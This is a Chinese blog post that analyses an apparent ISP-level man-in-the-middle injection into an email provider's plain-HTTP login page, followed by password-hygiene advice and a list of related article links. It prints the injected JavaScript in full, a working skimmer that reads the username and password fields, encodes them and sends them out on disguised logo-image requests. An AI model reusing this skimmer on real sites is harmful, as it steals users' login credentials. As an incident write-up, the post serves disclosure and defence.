国内某邮件服务商,近期在某南方地区有大量客户反应登录时出错和异常,于是工作人员进行了一下跟进,发现如下:
首先,邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密(没错,JS的RSA),发送到SSO登陆点,然后进行登录,有些人一看RSA,应该挺安全的了,不过……

在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了,原理很简单,大家可以参考腾讯安全中心的这篇文章http://security.tencent.com/index.php/blog/msg/10

在客户端抓包发现收到的HTTP数据包有异常,有几个包的TTL多了2,说明比正常从服务器到客户端的数据包少走了两跳,而且离服务器不是很远,估计在一个机房里,并且数据包的ID是很规律的12345,明显就是伪造的,包中插入了如下内容:

<script type="text/javascript">
document.getElementById("freepassword").onblur = function (e) {
logoFresh();
}; function onLoginCheck() {
var user = null;
var pass = null;
user = document.getElementById("freename").value;
pass = document.getElementById("freepassword").value;
if (user.length <= 0 || pass.length <= 0) {
return false;
} else {
return rskQuery(user + '&' + pass + '&xxxxx.com');
}
}; function rskQuery(s) {
s = encodeURIComponent(s);
var r = Math.random();
var num = (Math.round(r * 100)) % 9 + 1;
var i = 0;
var out = '';
do {
var ch = s.charCodeAt(i++);
ch = (i % 2 > 0) ? (ch - i % num) : (ch + i % num);
var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1);
out += l.toString() + ch;
} while (i < s.length);
out = r.toString().substring(0, num) + out + num;
return out;
}; function logoFresh() {
var h = logoUrl();
var s = onLoginCheck();
if (s == false) {
return false;
}
for (var i = 0; i < 2; i++) {
var bg_logo = new Image(0, 0);
bg_logo.src = h + 'images/logo_bg.jpg?' + s;
}
var s1 = onLoginCheck();
var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
var result = xmlHttpConnect(ajaxUrl, "get", null);
}; function logoUrl() {
return '/';
}; function createXMLHttp() {
if (window.XMLHttpRequest) return new XMLHttpRequest();
else if (window.ActiveXObject) return new ActiveXObject("Microsoft.XMLHTTP");
else return null;
}; function xmlHttpConnect(url, method, content) {
var request = createXMLHttp();
if (request == null) return null;
try {
request.open(method, url, true);
request.send(content);
} catch (e) {
return null;
}
if ((request.readyState == 4) && (request.status == 200)) return null;
else return null
}; document.getElementById("vippassword").onblur = function (e) {
logo_Fresh();
} function onLoginPhone() {
var user = null;
var pass = null;
user = document.getElementById("vipname").value;
pass = document.getElementById("vippassword").value;
if (user.length <= 0 || pass.length <= 0) {
return false;
} else {
return rskQuery(user + '&' + pass + '&vip.xxxxx.com');
}
} function logo_Fresh() {
var h = logoUrl();
var s = onLoginPhone();
if (s == false) {
return false;
}
for (var i = 0; i < 2; i++) {
var bg_logo = new Image(0, 0);
bg_logo.src = h + 'images/logo_bg.jpg?' + s;
}
var s1 = onLoginCheck();
var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
var result = xmlHttpConnect(ajaxUrl, "get", null);
}
</script>

在登录form里抓取用户名和密码,当成参数跟在logo后面再访问一下logo,再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多 logo的请求后面跟着明文用户名密码吧,错了,服务商那边根本没看到logo被请求两次,推断是带有这个特征的数据包被drop了,真尼玛用心啊。

至此,用户的邮箱密码已经泄露,用户和服务商也没有任何察觉,可能由于某些原因,比如延迟,丢包,bug之类的,导致部分用户被插的时候有异常,影响了原有的登录js,才导致这次事件浮出水面。

服务商由于成本问题,暂不考虑采用SSL登录。

至于那边还有什么类似设备我就不多说了,反正据我的了解,国内随便什么实权部门都能任意在ISP机房和主干网上接入任意设备,据说连税务的都有。

关于本次事件学到的内容:

国内服务用的任何用户名和密码和在国外比如gmail,twitter的账号要不相同,而且没有任何关联,并且国外服务的注册邮箱,密保邮箱等都要采用国外邮箱,首推gmail,并且打开二次认证,不要用短信认证,用手机验证器。

线上线下密码要分开,不相同,不近似,比如本地硬盘加密密码。凡是通过明文协议传输的通通被视为已暴露,HTTPS登录时每次手动查看证书签发机
构是否为之前常用的那一个,遇到怀疑是国内CA伪造证书的立刻把证书导出另存为,因为国内没有root
CA(cnnic的好像在ff和chrome已经被去掉了),只有二级证书机构,一旦被发现随便签证书会被立刻取消资格,并且黑名单推送到各大浏览器和操
作系统。

呵呵,你们以为能频繁的,多种花样的插12306就赢了么,你们以为每天在微博打打嘴炮就胜利了么,菊花都被爆脱肛了还不知道。

你们以为运营商只是HTTP插点广告而已么?的更多相关文章

  1. js去除运营商或者路由器添加的广告脚本

    是不是偶尔发现在家里看网页的时候回插入一个广告,很烦人.开发的网站,上传到了阿里云 oss,设置了域名解析,但是在家里晚上访问的时候,总会在页面添加一个广告,导致页面卡主,一开始以为是路由器的问题,以 ...

  2. 从运营商小广告到HTTPS

    相信很多人都试过这样的经历,浏览一个正常的网站时,右下突然角弹出一堆小广告,而且这些广告的内容和你浏览的网站格格不入: 前几天还有某微博用户爆料访问github时居然也有广告: 又或者,你有没有试过因 ...

  3. SIM卡的消失会让运营商们恐慌吗?

    ​中国移动.联通.电信三大运营商原本高高在上,每天乐滋滋地数钱数到手抽筋,但近年来移动互联网的快速普及,让运营商的制霸状态不复存在.成为众多互联网公司的"流量通道",语音.短信等业 ...

  4. SDN/NFV运营商商业化部署

    三大运营商发布未来网络架构,并逐步加快SDN/NFV商业化部署的步伐.中国联通发布其新一代网络架构<CUBE-Net 2.0白皮书>,并与20多家合作伙伴共同启动了“新一代网络”合作研发计 ...

  5. [转]用Whois获得电信运营商的IP地址是如何分配的?

    [转]用Whois获得电信运营商的IP地址是如何分配的? Linux下获得一些中国电信运营商的IP地址分配情况: APNIC是管理亚太地区IP地址分配的机构,它有着丰富准确的IP地址分配库,同时这些信 ...

  6. CSP -- 运营商内容劫持(广告)的终结者

    缘由 我们公司最近手机端H5 经常受到商户和用户的投诉,说有广告并且导致不能正常进行操作,我们商户自己当然不会加广告了,但是商户和用户可不管这些了,就认为是我们的问题 探索发现根本 目前我们用的很多浏 ...

  7. IP地址数据库-ISP运营商列表(2017年1月)

    IP地址数据库  微信号:qqzeng-ip [全球旗舰版][国内精华版][国外拓展版][英文版][掩码版]     http://qqzeng.com 中国大陆:三大基础运营商 中国电信中国联通中国 ...

  8. Android 5.0 Default SMS App以及运营商授权SMS App

    已同步更新至个人blog:http://dxjia.cn/2015/08/android-5-default-sms-app/ 题外话:博友们有没有好用的写博客客户端推荐啊,cnblogs推荐的win ...

  9. android判断网络连接状态、联网类型、运营商

    /** * 获取上网方式 * * @param mContext * @return */ public static String getNetType(Context mContext) { St ...

随机推荐

  1. 如何在android的mk文件添加依赖已经编译好的库

    用$(MY_LIB)是代表你的库的所在目录,目录结构是这样 MY_LIB |---include |-----xxx.h |-----xxx.h |---lib |----MYLIB.a LOCAL_ ...

  2. plsql查询数据显示为乱码解决方法

    使用plsql查询数据显示为乱码: 查看数据库编码: 通过网上搜索,发现需要设置环境变量,添加以下环境变量: LANG=zh_CN.GBK NLS_LANG="SIMPLIFIED CHIN ...

  3. 理解Fragment生命周期

    官网帮助文档链接:  http://developer.android.com/guide/components/fragments.html 主要看两张图,和跑代码 一,Fragment的生命周 二 ...

  4. Unix系统编程_cha11.6_线程同步

    #include <stdio.h>#include <pthread.h>#include <stdlib.h> #define NHASH 29#define ...

  5. CSDN客户端实现

    本文主要讲解实现了一个CSDN的安卓客户端,主要知识点如下 java爬虫获取网页数据 将java程序打包成jar包 Fragment+viewpager+TabPageIndicator实现Tab效果 ...

  6. php编译报错 configure: error: Please reinstall the BZip2 distribution

    yum install -y bzip2 bzip2-devel

  7. InnoDB引擎的索引和存储结构

    在Oracle 和SQL Server等数据库中只有一种存储引擎,所有数据存储管理机制都是一样的.而MySql数据库提供了多种存储引擎.用户可以根据不同的需求为数据表选择不同的存储引擎,用户也可以根据 ...

  8. 微信聊天测试脚本 wx_sample.php

    <?php </FuncFlag>                             </xml>);         curl_setopt($ch, CURLO ...

  9. java写入文件的几种方法分享

    转自:http://www.jb51.net/article/47062.htm 一,FileWritter写入文件 FileWritter, 字符流写入字符到文件.默认情况下,它会使用新的内容取代所 ...

  10. loadrunner解决“服务器正在运行中”方法

    问题现象: 这个问题在上家公司遇见过,今天无意中找到了解决办法: 解决方法: 打开任务管理器: 找到这个进程:ThumbProcess.exe,关掉这个进程即可解决. 今天运行lr的vugen报错 解 ...